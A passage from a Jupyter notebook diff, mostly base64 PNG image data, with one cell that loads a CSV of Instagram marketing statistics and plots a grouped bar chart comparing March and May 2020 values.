YgAAAAAAAAzeFjMPAgAAAAAAAJs2oRgAAAAAAACDJxQDAAAAAABg8IRiAAAAAAAADJ5QDAAAAAAAgMETigEAAAAAADB4/z/i/fKTdq2cDgAAAABJRU5ErkJggg==\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS10.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "z = list(df.iloc[:, 2])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(30,10))\n", + "width = 0.3 \n", + "\n", + "# Plotting\n", + "plt.bar(ind, y , width, label='(16/March/2020)')\n", + "plt.bar(ind + width, z, width, label='(18/May/2020)')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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